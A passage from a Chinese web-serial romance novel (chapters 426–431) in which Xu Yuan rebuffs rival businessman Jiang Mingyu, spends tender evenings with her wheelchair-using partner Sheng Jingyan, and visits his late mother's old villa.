许愿站在那里,宛如一幅温暖人心的冬日画卷。 她身着一件暖色调的棉衣裙,柔和的颜色像是被夕阳染过的云彩,既有着阳光般的明亮,又不失温馨的柔情。裙子的质地看起来厚实而柔软,完美地贴合着她的身形,不仅为她挡住了冬日的寒意,更将她的气质衬托得更加动人。 她的面容明艳动人,眼神中流露出温柔与坚定交织的独特神采。那双眼睛仿佛能看穿人心,却又带着几分明显的深意 无论是谁,只要见过许愿一次,都会对她留下深刻的印象。 正如姜明钰也愣了一瞬。 早听人提起许愿的容貌,现在见到她本人才知道并非夸大其词。 许愿不紧不慢地走过去,正准备落座,姜明钰却先行站起来,为她拉开椅子,态度十分绅士。 他坐着的时候存在感已非常强烈,当他站起来,许愿才发现他竟然十分高大。 近190公分的身高,几乎和车祸前的盛景炎差不多,而他俊美的五官和尊贵的气度使他极具吸引力,然而更令人不敢逼视的却是他漆黑幽暗却又带着几分危险意味儿的眼睛。 许愿认真打量了他一番,然后温声道谢。 姜明钰忍不住挑了挑眉,对许愿的评价不免又高了两分。 段星河坐在许愿身边,直言道:“姜先生请我们来所为何事?” “没什么事,只是久慕许小姐大名,想与许小姐见一面而已。”姜明钰打了一个响指,让服务员上菜。 他明知道许愿是才是东道主,却没有让她自己点单,可见在生活中他是一个控制欲非常强烈的人。 许愿默默分析着对方的性格和目的,却听姜明烨贸然开口:“许小姐,真的打算一直在盛世工作吗?” “我想这跟姜二少没有任何关系”许愿语气平静。 姜明烨嗤笑道:“我只是觉得可惜,许小姐这么漂亮优秀为什么一定要选择护着盛景炎的盛世呢?你知道盛景炎在国外的时候身边有多少解语花吗?现在盛景炎双腿都断了你却还要守着他的产业,简直又可悲又可笑。” 姜明烨把手机摊放在桌面上,上面正是盛景炎几年前在国外夜店与年轻男女喝酒的画面。 姜明钰皱眉说道:“提这些做什么。” 姜明烨缩了缩脖子,连忙把手机拿回去,然后继续挑拨离间:“许小姐你看见了吧?你难道不觉得恶心吗?我真是搞不明白,盛景炎那样对你,曾经就是个海王,不知道有过多少女人,你还要守着他帮他护着盛世,你图什么?” “爱情这玩意儿难道真的有那么伟大,能让你牺牲一切吗?如果你离开盛世你才能你知道你的未来有多广阔?你还年轻,你应该有更多选择。” “你能遇到比盛景炎好千百倍的男人。” 姜明烨显然仍然在挑拨许愿和盛景炎的关系,他明显不知道盛景炎以前都是装的早就跟许愿解释清楚了。 许愿一眼就看穿了姜明烨的伎俩,忍不住笑了笑。 段星河倒是抱着手臂靠在椅子上看戏,他也不干涉许愿的选择,就纯看戏。 第426章 他守护我而我守护他 许愿端起热牛奶喝了一口,徐徐道:“姜二少,你不用白费口舌了,我永远不会背弃盛景炎的。” “为什么?”姜明烨今天一定要搞明白许愿的想法。 他头一次看见如此优秀却又如此愚蠢的女人,许愿简直就是一个矛盾体,打从一开始就牢牢吸引了他的视线。 许愿思忖了一会儿,直言道:“我经历过一段失败的婚姻,你们应该了解过跟我相关的事,我的前夫是傅京礼。” 姜明烨嬉皮笑脸的表情渐渐消失了,姜明钰看向许愿的目光变得更为深邃。 他们姜家这次来A市选择的合作公司就是傅氏。 盛景炎头一次听许愿提及往事,他也是听到过许愿跟傅京礼的八卦的,不说完全了解,但也大概清楚一些,忍不住看向她,心脏一阵发紧。 当时许愿还没有毕业,傅京礼跟她结婚后隐婚三年,莫说旁人不知道,就是傅氏内部的员工都不曾知道他们是夫妻关系,说是夫妻却更像单纯的上下级关系,她对傅氏的价值就只是谈合作,拿下那些合约。 外面人不知道傅京礼和许愿离婚的真正原因,只以为两人不合适分手,但圈内人多数都知道许愿和傅京礼之间夹了一个许宁。 许愿不愿撕破脸,她想做个体面人,体面分手,所以从未因为许宁的事在公众场合发难,这些姜明烨也是有所耳闻的。 许愿喝了一口热牛奶,继续道:“外面人都夸我聪明,其实我是认死理的人,有着现在年轻人最讨厌的恋爱脑,最纯爱的年纪喜欢上傅京礼,喜欢了那么多年,喜欢到丢了自尊丢了自己,可怜又可笑,哪怕那时被抛弃跟他离婚我也觉得他没什么不好,还在为他卖命,纵然是许宁多次设计陷害我,我也认为错的是许宁不是他。” “那时我身边没什么人,只有一个并不算熟明明吊儿郎当像个渣男的盛景炎站在我身后说会帮我。” “我不会相信他的话,我甚至觉得他可笑。” “可当他真的一次又一次用事实说话,许宁伤害我时傅京礼在包庇她,盛景炎在维护我,他们在我面前亲热接吻,也只有一个盛景炎在我面前捂住我的眼睛说别看。” “他知道我在乎的是什么,所以散尽千金在拍卖会上拍下对他来说毫无用处的拍品,明明只是初识她却能看透我的灵魂。” “他说我们是同类,同样不被爱被抛弃的同类,我们躲在角落里戴着面具生活长大,而我们一起才可以相互取暖。” “最初我对他并没有更多的感情,我只是觉得想要结束一段感情是需要开启一段新的感情,而盛景炎只是刚好合适。” “他可以在我需要的时候最快的来到我身边,他知道我不相信感情所以跟我谈利益,他知道我在乎的事情所以会偷偷给我惊喜,哪怕最初没有爱也会因为这些惊喜的小事逐渐生出别的心思。” “我那时是什么样子呢,被傅京礼抛弃,肚子里却怀着他的孩子,他全都知道,但是他告诉我未来可以不要孩子将他视如己出,他确实是这样做的,如果当时我没有拦着,那些资产早就在那时已经转到我身上。” “对盛景炎来说他选择我,不只是因为生理上的某种不可控制的情绪,他说是责任是无法忽视的爱。” “盛景炎的爱永远都拿得出手,哪怕被我连累出了车祸断了双腿他最先想到的也是不要连累我,他没有像其他人那样跟我捆到一起,他将资产股份全都转给我,他甚至想躲起来藏起来,他觉得旁人更能与我相配,从前的他意气风发潇洒自在,却因为爱我丢了他自己,他这样爱我,我当然会回报他同等的爱意。” “他守护我,而我去守护他,有什么值不值得?这难道不是应该的吗?” 许愿直勾勾地看向姜明烨,目光坚定。 段星河张了张嘴,却发现自己的喉咙已完全干涩了。 他从来不知道许愿心头竟压着如此沉重的一份责任和使命。他们之间是有爱的,但是更多的是对盛景炎的责任。 在这一刻,段星河其实恨透了许愿的无私无畏,因为她这样的感情,跟苏青莲的感情是一样的,许愿和盛景炎就像是曾经的苏青莲与唐青江。 该说……不愧是她的女儿吗。 段星河眸光微暗。 “你,你怎么这么傻?”姜明烨憋了很久才憋出这句话。可他嘴上骂许愿傻,心里却完全不这么想。 其实他的兄长也有个未婚妻,名叫冯菀菀,是曾经的冯家千金小姐,但冯家一朝落败破产,她的母亲受不住打击跳楼身亡,姜家碍于责任为冯家偿还巨额财产,并为她们准备了一套公寓让她和她的父亲有一个遮风挡雨的地方。这些事情发生的时候姜明钰还在念书,并未接手姜家,这些还是姜明钰求来的最好结果。 他不曾抛弃冯菀菀,也没有与她解除婚约,甚至多次提到一定会娶她,私下也在收购当初冯家的部分产业,但在冯家人眼中,是姜家故意让冯家破败,是姜家没有伸出援手,那罪魁祸首就是姜家。 冯菀菀的父亲精疲力竭开始赌钱,从一开始的几百几千到后面的几万几十万,她的父亲已经变了,但她根本不知,姜明钰将她从泥潭拉出来带她回到姜家,冯菀菀却执意辱骂姜家狠毒。 她根本不知道,她那个已经变了的赌鬼父亲即会把她卖入色情行业。若不是姜明钰及时将她拉出泥潭,她如今还不知道会怎样。她有可能会被某个虐待狂打死在床上,也有可能染了一身脏病,被抛弃在街头。 没有姜明钰她就没有机会上最好的私立学校,接受最好的教育,更没有机会重新成为所谓的上流社会的千金小姐。姜明钰给了她一切,而她是怎样回报姜明钰的呢?她痛恨他剥夺了她的自由,叱骂他侵犯了她的人权,甚至骂他是没有心的恶魔,眼睁睁看着冯家被人逼到破产却不出手阻止,她时时刻刻想着从姜明钰身边逃离。 第427章 他欣赏许愿 冯菀菀对姜明钰不要说爱意和感激了,冯菀菀对姜家人只有恨。 而姜明钰碍于身份对她的温柔体贴就变成了理所当然。 姜明钰的确是控制欲很强占有欲很强的人,冯菀菀念书的时候一直控制她的交友圈子。 某些时候,姜明烨听见冯菀菀声声泣血的控诉,也会不自觉地想姜明钰这样做是不是太过分了? 然而见到许愿之后他才明白,不是兄长过分,而是姜明钰不懂得感恩。 姜明钰不是真的要控制她,而是那些接近冯菀菀的人都别有目的,冯菀菀不够聪明,接近她的人都是想通过她来接近姜家,甚至有人通过冯菀菀爬上他的床最后被他丢出房间,他不希望冯菀菀因为这种事有阴影所以一直没有告诉她而已。 他控制她的交友圈,仅仅是不想她被那些杂七杂八的人带坏,从来没有别的心思。 姜明烨想但凡她对兄长心存一点点感激,哪怕只有指甲盖那么大的一点点,她都不会做出那么多伤害兄长的事。 人和人之间真的很不一样,有人那般自私,却也有人用尽一切去拥抱爱,去承担责任,去背负使命…… 盛景炎给许愿的爱意多吗,他不觉得多,但偏偏许愿就是因为这些将整颗心都给了盛景炎。 如今再看许愿,姜明烨一点儿也不觉得她傻,反倒发现她浑身上下都在发光。毫无疑问,她是他见过的最美丽的女人,无论是外在还是内在。 许愿握着尚有余温的牛奶杯,平静道:“我不是傻,我只是在做我应该做的事。” 姜明烨一眨不眨地看着她,眼睛亮晶晶的。 姜明钰早在许愿开始述说往事的时候就陷入了长久的沉默。 他黑色的眼眸此刻竟变成了愈发深沉,片刻后后他一字一句说道:“许小姐,你真的让我很惊讶。” 原来有人可以因为那些爱做到这个地步;原来有人可以如此无怨无悔地付出。若是他当年救下的人不是冯菀菀,而是许愿,结果会怎样? 姜明钰不想拿任何人与冯菀菀去进行对比,可是他忍不住。 面对冯菀菀的抗拒,他会非常恼火,却也十分愧疚。他常常在想,自己这样做到底是对还是错?可现在听了许愿说的那些,他才猛然发觉,自己什么时候亏欠过冯菀菀半分?他把最好的一切捧到她面前,她可以不接受,却也不能因此怨恨他。他或许没有给过她选择的权力,但是在接受他帮助的那一天,她却拥有拒绝的权力。 她完全可以对他说:抱歉,我不需要你的帮助,因为我无法回报你。那么他一定会放手,他姜明钰没有强迫过任何人? 这些日子,他每时每刻都在煎熬中度过。他不断地反省自己是不是太过逼迫冯菀菀,以至于让她走上了绝路。但现在,他被情爱蒙蔽的眼睛陡然清晰了,被懊悔和沉痛折磨的心脏陡然解脱了。 看着坐在自己对面,显得那样从容不迫、云淡风轻的女人,他觉得一切都豁然开朗。 他想,如果是自己帮助的是许愿,他恐怕能得到的是最真挚的感情,恩情友情爱情,她都能够给自己。 姜明钰忍不住笑了笑,直言道:“许小姐,你是一个很优秀的人,我很欣赏你,也不忍心为难你,这样吧,你把这瓶酒喝光,我就放过沈氏企业怎么样?想必你也察觉了吧,我看中的猎物一直是盛世,即便你扰乱了我的布局,我可以放过沈氏,你们可以拿下沈氏继续发展沈氏,算是我对你和盛世最后的仁慈。” 他并不是狂,在他这里,他是真的在给许愿机会。 许愿盯着桌上的伏特加没说话。她当然知道姜明钰有千百种方法得到盛世。 凭他的人脉和手段,愿意为他效力的人多得是。 她有段星河,姜明钰就有其它不输于段星河的天才研究员,她可以引导舆论,姜明钰就有比她路人缘更好的姜明珠,可以说姜家完好的克制了她和盛世。 就像董事会猜测的那样,姜家最开始看中的就是盛世,他要吞掉的根本不是蝼蚁一样的沈氏企业,沈氏只能损失投石问路,他要的一直都是盛世。 现在盛世处于危局当中,这一点许愿比任何人都清楚。 她缓缓伸出手去拿酒瓶,却被段星河用力握住手腕,沉声道:“你别冲动。” 姜明钰目光闪烁地看着许愿。 姜明烨不忍道:“哥,算了吧,你别为难许小姐。” 许愿收回自己的手,轻笑道:“我没有那么傻,会拿自己的身体开玩笑。” “姜先生,您不会为了一瓶酒放过沈氏和盛世,这一点我清楚,您也清楚。那是关乎到几千亿的庞大市场,是您志在必得的猎物。您若是真的因为一瓶几千块钱的酒便放弃了这样一宗大生意,我会怀疑您的脑子有问题。而我选择相信您并喝下这瓶酒,我也会怀疑自己的脑子有问题。” 许愿靠倒在椅背上,徐徐道:“您不必逗弄我,我们均已在局中,您出招,我接招,直接一点会更好。” 段星河这才放开她的手腕,眸色暗沉地去看姜明钰。 姜明钰打开那瓶伏特加,倒了满满的一杯一口饮尽。 姜明钰轻笑道:“许小姐果然擅长打直球,我已经很久没见过像您这样真诚不作伪的人了。能认识许小姐我很高兴,这杯酒我敬你。不瞒许小姐,我最近已找到了合适的代理人,不久之后想必我们会正面对上,许小姐想救沈氏和盛世一定要快,我等着你出招。” 他漆黑的瞳仁闪烁着亮光,眉眼舒展的样子显得很轻松愉悦,与初见时的冷冽完全不一样,像是一块冰,忽然之间就融化了。 察觉到兄长久违的好心情,姜明烨忍不住松了一口气。 许愿颔首道:“我明白了,我会不惜一切代价阻止姜先生的计划,我会让姜先生知道A市不是B市。时间紧迫,我就不陪姜先生吃饭了。”话落起身便走。 第428章 我更想你 段星河连忙跟上许愿,又用另一只手隔开迎面而来的侍应生。 姜明钰见她远去,开口道:“许小姐,我建议你其实不用继续管理盛世,这本就不是你的责任,这一切对您来说太沉重了。” 这是他头一次对一个刚见面的陌生人产生如此深刻的好感,也是他头一次设身处地地为旁人考虑。 一旦真的跟盛世捆绑,那么未来如果没能守住盛世,许愿就会成为罪人。 以她的实力在任何地方都能发光,姜氏就很欢迎她。 但是许愿不为所动,在逃避和承担之间,她选择了承担。 许愿步伐没有一丝停顿,径直走远了。 姜明烨好奇地问道:“哥,你说许愿这次能救盛世和沈氏吗?” “沈氏的相关资产三天后就要拍卖了,如果许愿能在三天之内凑够资金,尚且有机会跟我争一争。”姜明钰切下一小块牛排放进嘴里品尝,末了叹息道:“刚才我应该挽留许小姐的,这家会所的西餐做得很好,许小姐应该会喜欢。” 他放下刀叉,轻笑道:“下次吧,下次一定要请许小姐尝一尝。” 姜明烨吐槽道:“哥,许愿肯定不想再跟你见面。三天凑齐那么多流动资金,这比登天还难,许愿能做到吗?”不知道为什么,他不向着自家兄长,反倒有点担心许愿。 他其实觉得他们姜家挺阴的,故意在盛世建立新的项目缺少流动资金的时候搞这出针对盛世。但没有办法,想要赢就要耍点销售端,无奸不商嘛。 姜明钰收敛了笑意,徐徐道:“商场如战场,这句话不是说着好玩的。最近你太闲了,去公司历练历练吧。” 回应他的是姜明烨的哀嚎。 其实有一件事姜明钰想错了,盛世没有流动资金不代表许愿手中的流动资金不够,她没了盛世还有盛华,只要她想,三天后的沈氏企业她是一定可以拍下的。 但她的流动资金和盛世还是不一样的,如果用她自己的资金出手,怕是盛世那群老顽固又要说些乱七八糟的。 所以她还是需要以盛世来出面筹集资金。 回到家后没见到盛景炎,她猜盛景炎应该还在盛世。 许愿抱着抱枕揉了几下,觉得还是没有盛景炎手感好,忍不住给盛景炎发了句“我想你了”,这次许愿没有撤回。 许愿其实很喜欢逗盛景炎,以前不是没有过给他发我想你了我很喜欢你这样的信息,但是更多的像是试探他有没有看到能不能秒回,不能秒回的话许愿就会撤回这句有点肉麻的话。 虽然更肉麻的话现实里不是没说过,但是微信里……还是不一样的。 盛景炎在线,但没回消息。 许愿等了一分钟,他还是没有动静。 应该是在忙了? 竟然没有给她置顶设置声音特别关注吗。 换作以前许愿可能要打退堂鼓,可今时不同往日,许愿成长了,或者说是被盛景炎惯出来的,他们什么亲密事都做过了,用许愿的话来说就差结婚证了,许愿直接给他打了电话问。 “怎么不回我?” 盛景炎接电话倒快,在那头听上去心情很好:“我在等待。” “等……什么?”许愿隐约有些察觉,但没有戳破。 果不其然,下一秒盛景炎回答:“等这句话超过两分钟。” 许愿很明显听出来他下一句是什么了,这样就撤回不了了。 “别等了。”许愿在沙发上滚了一圈:“就是给你发的,这次不会撤回的。” 盛景炎云淡风轻地谦让:“ 还是要等的。” 许愿可是知道盛景炎以前为了装浪子没少看什么恋爱手册的书籍,许愿翻出来厚厚一大摞。 许愿从他那里顺来的教人谈恋爱的手册里没学过这样的拉扯该怎么回答,有些无奈的笑了笑小声嘀咕一句有什么好等的。 他就在那头低低笑了一声,气音带电流似的撩拨地许愿耳朵痒痒。那边传来带回音的跺脚声,像是在楼梯间,又像是在门外,好像距离她很近。 片刻,盛景炎轻声说:“ 在等阿愿给我开门。” 许愿这一刻眼睛都亮起来,从沙发上弹起来,小跑去开门,看见盛景炎一手拿着手机另一只手捧着一束玫瑰花,鲜艳明亮颜色,门口的灯光打在花上,像是打了一层柔光滤镜。 盛景炎递过去:“路上看到有学生在卖花,看着像是勤工俭学,一支一支的卖她要卖到深夜了,就让她包起来了,我觉得你会喜欢的。” “这小惊喜我还挺喜欢的。”许愿不客气地从他怀里接过来那束花,轻轻嗅了嗅,脸上都是笑意。 盛景炎从鞋柜里拿出和许愿专属同款拖鞋,整要说什么,却见许愿已经抱着花去找花瓶。 盛景炎就当个小尾巴控制着轮椅跟在许愿身后溜达,许愿在找角度给花拍照片,他就靠着桌子看许愿忙活。 等许愿拍完检阅完照片收起手机,盛景炎伸长手臂握住她的手,许愿猝不及防的跌坐他腿上。 两人离得太近了。 许愿闻出来他用的是和她一个牌子的洗衣液,他们两个身上味道都是相同的。 “你干什么……”许愿偷偷瞥他一眼,被他捉了个正着。 盛景炎垂眼,那目光颇有几分意味深长:“不是说想我了么。” 想念应该有什么表示?这都不用问,盛景炎这是在要亲亲了。 许愿忍不住笑意,直接凑上去揪着他的衣领动作连贯利落。 一气呵成地……亲偏了,像是故意逗他似的。 盛景炎愣了下,不确定地看向许愿。 许愿顶着他疑问的目光,嘴硬:“就这样,怎么了?” “没什么,”盛景炎直接伸出手揉了揉她的头然后凑过去在她唇边亲吻,是个很温柔的温。 “我刚才发了条微博。” 盛景炎握着她的手把玩,还不忘说了句报备。 发微博了? 刚才她找花瓶的时候吗? 许愿顿了下,翻出自己的手机登录微博,就看到盛景炎将她发的那条“我想你了”的微信截图发到微博上了,在旁边回了句“我更想你”。 第429章 她的男主角 许愿眉眼弯弯的埋进他怀里蹭了蹭。 “医生今天检查后怎么说。” 这已经是许愿给他换的第三个医疗团队了。 盛景炎顿了下,许愿却能感受到盛景炎的心跳的很快很快,像是比平常要快两倍。 他好像在害怕在惊慌。 “盛景炎……是我让你不安了吗?” 盛景炎抱紧了许愿:“是我的原因。” “嗯?”许愿不解。 “是我。”他顿了顿,好像极少说类似的话,但今天实在忍不住了一般:“……怕你不够幸福。” “我总在想,如果我的腿治不好了该怎么办……我好像不能给你更多了……” 许愿在盛景炎的怀里,听见了自己的心跳。 原来生活,是两股不同心跳的交响,缺一不可。 许愿觉得心酸。 盛景炎以前是那样骄傲的人,现在却因为她好像总是没有安全感。 许愿伸出手捏住他的耳朵,看着近在咫尺的爱人。 “盛景炎。” “你不要想太多,他们治不好还有我,我说过会让你站起来就不会食言。” 许愿话音才落,盛景炎的眉头就轻皱,许愿凑过去亲亲他。 “没有可是没有其他的,你这样的多睡几次就老实了……” 许愿也不给他更多机会,咬住他的唇。 她当然知道盛景炎为什么会不安。 她身边太多优秀的男性了,接触这些人是不可避免的,她爱盛景炎但不会为了盛景炎放弃自己的生活和事业,她需要做的是让原来的盛景炎重新回来。 她要让盛景炎感受到她的爱…… 躺在床上时许是因为剧烈运动过根本毫无睡意。 许愿赖在盛景炎怀里哼哼:“盛景炎,晚上要睡不着了怎么办?” “那就去吃宵夜吧,我们一起。” 就像许愿说的,盛景炎这样的,多睡几次就老实了,现在就挺老实的,任她选衣服选围巾呢。 初冬的街头,店面大多都换了装潢,准备迎接这个有点冷的冬季,玻璃窗内的暖黄柔光温馨,照在内壁氤出的水珠上,像点了小火花。 许愿往一侧挪了目光,还有个阿炎,这也是小火花。 路上遇到了网红火锅店,这个季节就是适合吃火锅的。 等排到他们时已经不早了。 许愿和盛景炎坐在靠窗的位置,敲了敲窗户,但还是欲言又止。 她也不知道为什么,以往都是选择去华庭的,但今天看到这家店,就是很想试一试尝一尝味道。 网红店的位置难排,高峰期的车流难挤,盛景炎今天检查完身体就去了盛世忙碌一天又被许愿拽过去运动,现在还等这么久,他在火锅面前靠在窗户上就睡着了。 “头发软乎乎的……”许愿调好蘸料回来就看到他睡过去了,她轻笑一声很轻地挪过他毛茸茸的大脑袋:“ 这次换你靠在我身上睡吧……” 许愿小心地侧头,瞥见了他长长微卷的睫毛。 “明明今年年初,没想到会和你认识呢……” 许愿的小声喃喃被来的服务员打断,她也很细心,见盛景炎靠着许愿睡觉没多打扰,还替她们下了肉。 加麻加辣,这是盛景炎爱吃的,许愿下意识就说,先给他下。 她觉得盛景炎应该很饿了。 “好讨厌啊……原来我这么无私的吗……”许愿牵上了盛景炎的手:“喂, 之前我和薛酒还有斯年哥哥他们出去吃饭,都要先顾及我的……” 盛景炎的手大,手指修长,不冷不热,正好供许愿两个手抱着把玩。 “盛景炎你真是赚大了 !” 他没醒,许愿忍不住笑。 坐了会儿,红艳艳的锅就开始激烈的扑腾,里面的肉鲜嫩,在锅里翻滚着,许愿担心肉老了,一筷子夹了上来。 灵机一动,许愿又夹着肉像是故意在盛景炎鼻子面前转来转去:“肉~ 是肉~ 加麻加辣哦~ 你最爱吃的~” 盛景炎还是没反应,闭着眼睛依旧那么帅,许愿盯了好一会儿,正准备自己吃了,可瞬间,一只大手迅猛地扣住了许愿的手腕。 店内嘈杂,盛景炎的声音却好听,带着一点点嘶哑。 “不是要喂我吃吗。” “盛景炎!你……你你你装睡!” 盛景炎睁开了一只眼,看着像捣蛋:“ 我以为你知道我醒了。” “许愿什么时候醒的?” “你让我靠在你肩膀的时候。”盛景炎慵懒地起了身,自然地接过许愿的筷子,给许愿挑了满碗的菜,又平淡地继续回着许愿。 他知道许愿晚上不喜欢吃肉,所以挑了她爱吃的青菜。 许愿看他一本正经操作,问:“ 你在干嘛?照顾我?” 他说:“ 我在先顾及你。” 许愿说:“ 有点点假,因为刚刚是我先说的。” ‘嗯。”他点点头,语气却上扬: “阿愿先顾及我,我先顾及阿愿,这样很公平。” 他还挺有理,许愿忍不住笑。 “那好吧~” “我们一起吃!” 许愿晚上是不会吃太多东西的,吃了几口菜喝了杯热牛奶,剩下的几乎都让盛景炎解决了。 出了店门许愿只觉得天都要塌了。 “车胎好像爆了……”也不知道是不是有仇富的人看到迈巴赫弄爆车胎……不然也不会四个车胎都爆了。 许愿沉默的将目光看向不远处的刑从景。 刑从景开口:“你让他们一起吃火锅他们没抗住诱惑就没盯着,我中途接了通电话,回来时车胎已经爆了,但是人抓到了,是个仇富的路人,已经让人带回去审讯了。” 行,出来吃个火锅都碰到这种事,许愿一时无言以对。 盛景炎却并没有当回事,握住她的手道“这里距离我们的公寓不算远,要试试走一段路吗,附近景色不错。” 他们最近确实太忙了,很少有一起在外散心的时候了。 许愿点点头。 回去的路上人群不多,连十字路口都充斥着温馨的暖黄色,车流的鸣笛阵阵,寒风在这里四处奔涌,让人忍不住贴在一起。 路上,许愿听到盛景炎开口了。 他声音很轻,很温柔,还有点哑:“阿愿。” 他叫她的名字。 许愿心里落了一拍,他还在继续。 “阿愿,你选择我做你的男主角了对吗。”他却淡淡地垂眸,温柔地摩挲许愿的每一寸皮肤。 第430章 温馨 “阿愿很美好。”盛景炎开口,眼中是绝对的认真:“阿愿的生活和你整个人都很美好……” “……有时候我也会担心,阿愿会放弃我,可能不会选我。” “所以我想知道阿愿是真的选择我做你的男主角了对吗。”他又问了这个问题。 许愿笑着牵起盛景炎垂着的手,然后五指相扣。 “盛景炎。” 他缓缓抬眸,有些怔愣。 “许愿的生活因为有你才会美好啊,而且我都已经选择了男主角,哪有人会一直换男主角的,决定是你就会一直都是你啦。” 许愿甩了甩他的手,又笑着望向他:“一起回家啦!” 他也笑,笑得很浅。 晚上睡前许愿抱住了他,感受到了他的温度。 外面冬风凌厉,而许愿怀中的心跳缓慢却有力。 许愿凑过去又说:“ 我的男主角,是盛景炎,只会是他。” 盛景炎很轻地挑眉,揉了下许愿的脑袋,又把许愿抱得更紧。 …… 许愿醒来时盛景炎早已经醒了,他已经在看盛世与沈氏的相关资料。 这次盛世的流动资金太少,很有可能中途会被姜家夺走沈氏,姜家来者不善,他不能将担子都压到许愿身上。 许愿事情也多,还没跟盛景炎谈昨天姜明钰说过的那些事,见桌上有华庭那边送来的早餐就先吃了几口对付下。 用过早餐许愿提起姜明钰说的。 “姜明钰不可能暴露所有底牌,他背后资本到底有多雄厚我们猜不出,单是评估他的人脉圈和资金流也不能做到精准的地步,很可能会有偏差,就像迄今为止仍没有人猜到盛华背后的人是我一样。” 许愿开口:“所以同样的,我们的底牌也不能现在就亮出来,不然我们猜不到姜明钰后面会和姜明珠用什么手段联合对付我们。” “所以现在最好还是先拉投资,集齐资金流,也好让姜家人放松警惕。” 许愿跟盛景炎提到这些,盛景炎自然跟她是同样的想法。 他已经在寥落拍卖行和A市上面的人打算参加晚宴,因为姜家突然插进来一脚,就是许愿也会觉得略有些烦闷,她抬头看向身边的人,盛景炎还埋头伏案工作。 “休息一下吧。”许愿出声打断他,“我给你按摩。” 盛景炎停下手里的活,抬手捏了捏眉心,脸上的冷硬化开来,露出柔和的神色:“好。” 许愿和往常一样,无声地给盛景炎按摩腿,今天却像是有心事一样,目光紧紧盯着盛景炎的腿,有点心不在焉。 “你在想什么?”盛景炎捏了捏眉心放下手中的文件问她。 许愿扬起头,问:“可以不这么拼吗?” 许愿有点理解不了,已经有她了,为什么盛景炎还要这么拼,受伤了就好好养病,一切都有她。 盛景炎失笑,像是有些无奈:“我以前也是这样的。” 在国外的时候为了有朝一日夺回盛世,每日每夜都是这样辛苦的,许愿当初不也是这样的。 许愿闷闷地说:“我只是觉得你太拼了,你该好好休息。” 盛景炎以为是许愿把他看得太柔弱了,但他也知道许愿是在心疼自己,他眉眼之间都带着笑意说:“没事,我的身体我心里有数。” 盛景炎弹了弹许愿的脑门,说:“你今天是怎么了,像霜打的茄子一样。” 许愿用力按着盛景炎的腿,说道:“就是觉得你现在有我其实可以不用这么拼。” 盛景炎无奈:“那他们真的要把我当成废物了。” 许愿也知道盛景炎说的没错,就是因为盛世现在以她独大,那些老古董心里已经不怎么看得起盛景炎了,如果这次姜家带来的危机还是她压下去的,那盛景炎在他们那里怕是更没有价值了。 “对了,我是不是还没有带你去过我母亲的旧别墅。” 许愿顿了下,那确实是没有。 其实盛景炎很少在她这里提起他的母亲,他不提她也不会主动去问的。 “你要带我去吗。” 许愿抽过他手中已经翻阅过的文件问他。 话都说出口了,也没有不去的道理。 和盛景炎一起上了车后,许愿坐在汽车后座上,一手支着下巴透过车窗看路边的景色。 现在天黑得晚,但也已经是日暮时分,橘色而落寞的光打在许愿的脸上,把她精致的侧脸完美勾勒出来。 许愿本来长得就好看,此刻眸光淡然的看向外面竟然有种美好如画的感觉。 “阿姨的老别墅在什么地方。” 许愿开口询问。 “比较偏的郊区了,我也很久没有回去了,楠哥是我母亲曾经老管家的儿子,后来出国留学这些年一直在国外工作,他知道我出事后辞了在国外的工作,这几天刚从国外回来就住在这里,他算是我的亲人了,我想带你见见他。” 盛景炎说的楠哥叫盛楠,当初在国外念书工作其实也算是赵女士为盛景炎埋下的最后一条线,盛景炎在国外留学期间盛楠确实没少帮忙。 “那应该是个很好的人吧。”许愿握住盛景炎的手摇晃了下,盛景炎眉眼之间都带着笑意。 “是很好的人,楠哥回来的刚好,姜家想抢沈氏企业,偏偏楠哥就回来了,也是很巧的。” 飞驰的汽车载着许愿去往赵家别墅。 车已经开出市区来到了郊区,接着又爬上了一座山丘,山上人烟稀少,只有满山的树木。 山上无风,树枝树叶安静地垂落像被定格一样,影影绰绰的树影之间开辟出一条山道,车辆就在上面行驶,幸亏两边还有路灯照着,把路照得很清晰,不过路越是明亮显得旁边的树影越是漆黑,随便看过去一眼都感觉要被黑影吸进去。 赵家的宅子就半山腰上。 确实像盛景炎说的,很偏僻了。 盛景炎解释了句:“这一带十年前还是全市看好的高新产业园区,上面在这里搭建了不少生产线,有很多人来上班也带动了地产发展,上面还想把新城选址在这里。” 只不过后来发生了很多事所以这里荒废了。 “想重新发展起来也是可行的,不过要花费点时间了。”许愿挑了下眉:“等解决了姜家的事情再重新勘察这边的地形,总会有解决办法的。” 盛景炎知道许愿是为他才提到这些,他笑了笑没有说更多。 终于抵达了目的地。 第431章 盛景炎往事 赵家老宅规模可以称得上是山庄了,车辆顺利的行驶进了大门,他们的面前是一幢老式欧风房子,有点城堡的感觉,外墙上攀附着斑驳的黑影,看起来有点渗人,借着灯光仔细一看,才能看清那些影子是茂密的爬山虎。 这里的灯开得不多,光线很昏暗,宅子的风格有点过时,基础实施稍微陈旧,再加上四周一片静谧,颇有点恐怖片的调调。 房子的前面,有一个人正在侯着他们。 那个人三十多岁的样子,冲着许愿笑,一脸温和:“欢迎许小姐和少爷回到赵家老宅。” 这就是盛景炎提到的盛楠了。 许愿看了他一眼,三十多岁事业有成的成熟男性,相貌温和端正,很容易让人心生好感的人。 “楠哥。” 盛景炎在许愿身边开口喊了盛楠,盛楠面上仍然带着笑,只是看到他断掉的双腿时笑容僵了下,目光有些不可控的落到许愿身上。 许愿的手放在轮椅扶手上,声音坚定:“我会让他重新站起来的,我保证。” 许愿的承诺还是很值钱的,盛楠显然也知道这一点,所以感激的点了下头。 路上盛景炎已经将他跟盛楠的关系解释的很清楚了,她对盛楠也有了了解。 比起盛明浔那个自私的疯子大哥,盛楠才更像跟盛景炎相依为命的哥哥了。 许愿和盛景炎跟着进了屋子,房子里的光线并不昏暗,她猜是盛楠这几天打理了这边的环境,不过墙壁的老墙纸却没换,还是那些比较复古的花纹。 许愿和盛景炎才回到赵家老宅盛楠就接了通电话后换好了衣服,整个人从头到脚精英气质逼人。 “少爷,一个小时后有一场官方会议需要您参加。” 话落已经将准备好的西装袋子递交到盛景炎手中。 许愿这才明白盛景炎带自己来这里不光是为了来老宅见盛楠,还因为他想要解决这次跟姜家有关的事。 许愿没有阻止,他去做有成算的事她不会拦着。 换好衣服后盛景炎也穿齐了西装,打着领带,银灰色的西服衬得他有如自持的绅士,严肃而优雅。如果忽略他身下的轮椅,他跟以前没什么两样。 许愿微妙地发现他有点紧张。 “我一定要出席吗?”盛景炎神色淡淡的,却这么问盛楠。 盛楠无奈地说:“我是你的代理人,不能完全替代你,还是需要你出席。” 